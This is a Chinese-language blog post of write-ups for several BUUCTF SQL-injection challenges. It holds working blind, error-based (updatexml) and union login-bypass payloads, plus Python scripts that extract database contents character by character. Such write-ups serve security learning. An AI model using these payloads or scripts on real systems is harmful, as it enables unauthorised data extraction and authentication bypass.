buuctf-sql注入
本文最后更新于:3 年前
buuctf–注入篇
[CISCN2019 华北赛区 Day2 Web1]Hack World
给了提示,All You Want Is In Table 'flag' and the column is 'flag'
猜测flag在flag 表中,查询语句应该是 select flag from flag
经过测试,发现这题过滤了很多关键字,or,union,order等,猜测是盲注
构造盲注语句
id=if((ascii(substr((select(flag)from(flag)),0,1))>90),1,2)
两次的提示语句不一样,说明这个注入语句是对的,且当提示Hello时应该是对的。
// 二分注入
import requests
url = "http://376688f4-59c4-4f47-8d0e-36c966e45631.node3.buuoj.cn/index.php"
data = {id : ""}
flag = ""
for i in range(50):
left = 33
right = 128
mid = (right + left) >> 1
while(right>left):
data["id"] = "if((ascii(substr((select(flag)from(flag)),{0},1))>{1}),1,2)".format(i,mid)
response = requests.post(url,data=data)
if "Hello" in response.text:
left = mid+1
else:
right = mid
mid=(right+left)>>1
flag = flag + chr(mid)
print(flag)
print(flag)
[极客大挑战 2019]HardSQL
报错注入
测试发现 or,union,substr,空格,/**/
等都被加入黑名单,双写也无法绕过
可是使用报错注入
报错注入原理:
其原因主要是因为虚拟表的主键重复。按照MySQL的官方说法,group by要进行两次运算,第一次是拿group by后面的字段值到虚拟表中去对比前,首先获取group by后面的值;第二次是假设group by后面的字段的值在虚拟表中不存在,那就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致主键的重复,进而引发错误。
相关链接
https://www.cnblogs.com/richardlee97/p/10617115.html
https://www.jianshu.com/p/d8ae3e8dabdc
https://blog.csdn.net/qq_37873738/article/details/88042610
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) 。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
查询语句如下
?username=admin&password=dad%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23
?username=admin&password=dad%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23
?username=admin&password=dad%27or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23
这里会发现flag显示不全,可能是报错现实的字数限制,利用right/left函数,显示部分的flag,之后拼接起来
显示后面的flag
?username=admin&password=dad%27or(updatexml(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1)),0x7e),1))%23
[网鼎杯 2018]Fakebook
sql注入+反序列化+代码审计
[GXYCTF2019]BabySQli
下载的源码,有助于后面做题
mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password); //对传入的password参数进行了md5加密
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);
if(preg_match("/\(|\)|\=|or/", $name)){ // 过滤了() | = or
die("do not hack me!");
}
else{
if (!$result) {
printf("Error: %s\n", mysqli_error($con));
exit();
}
else{
// echo '<pre>';
$arr = mysqli_fetch_row($result);
// print_r($arr);
if($arr[1] == "admin"){
if(md5($password) == $arr[2]){ //
echo $flag;
}
else{
die("wrong pass!");
}
}
else{
die("wrong user!");
}
}
}
随便输入用户名和密码,查看源码,出现提示
试了试应该是base32,解码后是base64
c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==
继续解码
select * from user where username = '$name'
注入点是name参数这里,与上面源码中的查询语句一样。
经过测试发现有三列,name=admin' union select 1,2,3 #&pw=as#
显示正常,name=admn' union select 1,2,3,4#&pw=as
报错
但是页面没有数字回显,所以常规的注入应该是不行的。
值得注意的是,这题可以知道username是admin,
输入username=admin&password=11,时提示wrong pass!
输入username=admn&password=11,时提示wrong user!,所以可以判断用户名为admin
接下来介绍一种新的union注入
先建立一张表
select * from test where id=0 union select 1,'admin','2322';
union语句后查询的是表中不存在的一个数据,查询结果如下
这个结果说明,union查询一个不存在的数据时,会建立一个虚拟表,其中放着所查询到的数据和union后包含的数据
这里就是 id=1,username=admin,password=2322
这样就可以利用这个改变数据库中用户的密码,然后用自己设置的密码登录
接下来,利用这点做这个题目,首先知道一共三列,第一列应该是id,知道之后两列的内容就可以了
name=adm' union select 1,'a','s' #&pw=11
提示的wrong user!
name=adm' union select 1,'admin','s' #&pw=11
提示的wrong pass!
第二列的字段名应该就是username,第三列自然就是password,但是这题的password字段存放的时md5加密后的内容(看到师傅们的wp才知道的,看到源码也确实这样,但是在比赛的时候这么发现不得而知)
payload:
name=000'union select 1,'admin','b59c67bf196a4758191e42f76670ceba'#&pw=1111
b59c67bf196a4758191e42f76670ceba
是1111的md5值,pw的值为1111
[极客大挑战 2019]FinalSQL
与hard sql是一个系列的,但是这个应该是盲注
在search.php中找到注入点,测试可以发现是数字型注入
fuzz之后可以发现对于不同的字符,回显不同,并且过滤了空格,但是^
没有被过滤,所以可以利用这个符号
可以看到当id = 1 时,页面回显为,可以将这个为判断的标志
1^1^1 = 1
1^0^1 = 0
所以可以将注入的payload加到中间,例如
1^(ord(substr((select(group_concat(schema_name))from(information_schema.schema
ta)),%d,1))=%d)^1"%(i,ord(j))
注入脚本如下,使用的是二分法
import requests
import time
url = "http://6b5514f4-7df0-47b1-bca4-d13013ffd5d9.node3.buuoj.cn/search.php"
flag = ''
def payload(i, j):
time.sleep(1)
# sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j) #数据库名字
# sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j) #表名
# sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j) #列名
sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)
data = {"id": sql}
r = requests.get(url, params=data)
if "Click" in r.text:
res = 1
else:
res = 0
return res
def exp():
global flag
for i in range(1, 10000):
print(i, ':')
low = 31
high = 127
while low <= high:
mid = (low + high) // 2
res = payload(i, mid)
if res:
low = mid + 1
else:
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
# print (f)
flag += chr(f)
print(flag)
exp()
print('flag=', flag)
又学到了新的注入姿势,真不错
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!